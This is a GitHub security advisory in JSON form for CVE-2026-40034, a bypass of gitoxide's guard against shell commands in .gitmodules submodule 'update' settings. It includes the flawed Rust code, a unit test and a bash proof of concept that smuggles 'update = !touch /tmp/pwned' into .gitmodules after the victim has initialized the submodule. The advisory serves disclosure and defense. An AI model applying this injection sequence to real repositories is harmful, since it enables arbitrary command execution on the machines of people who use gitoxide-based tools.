CVE-2026-40034: gitoxide CommandForbiddenInModulesConfiguration Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f26g-jm89-4g65",
  "modified" : "2026-06-30T17:41:01Z",
  "published" : "2026-05-05T19:23:45Z",
  "aliases" : [ "CVE-2026-40034" ],
  "summary" : "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules",
  "details" : "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !<shell command>`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.<name>.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None => return Ok(None),\n    };\n\n    if let Update::Command(cmd) = &value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]'s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker's repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -> `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -> `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide's guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2>/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin && cd sub-origin\ngit init -q && git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo && cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat >> .gitmodules <<'EOF'\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim && git submodule update\nfatal: invalid value for 'submodule.sub.update'\n$ echo $?\n128\n$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n…will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "gix"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.31.0"
      }, {
        "fixed" : "0.83.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GitoxideLabs/gitoxide"
  }, {
    "type" : "WEB",
    "url" : "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-183", "CWE-349", "CWE-501", "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:23:45Z",
    "nvd_published_at" : null
  }
}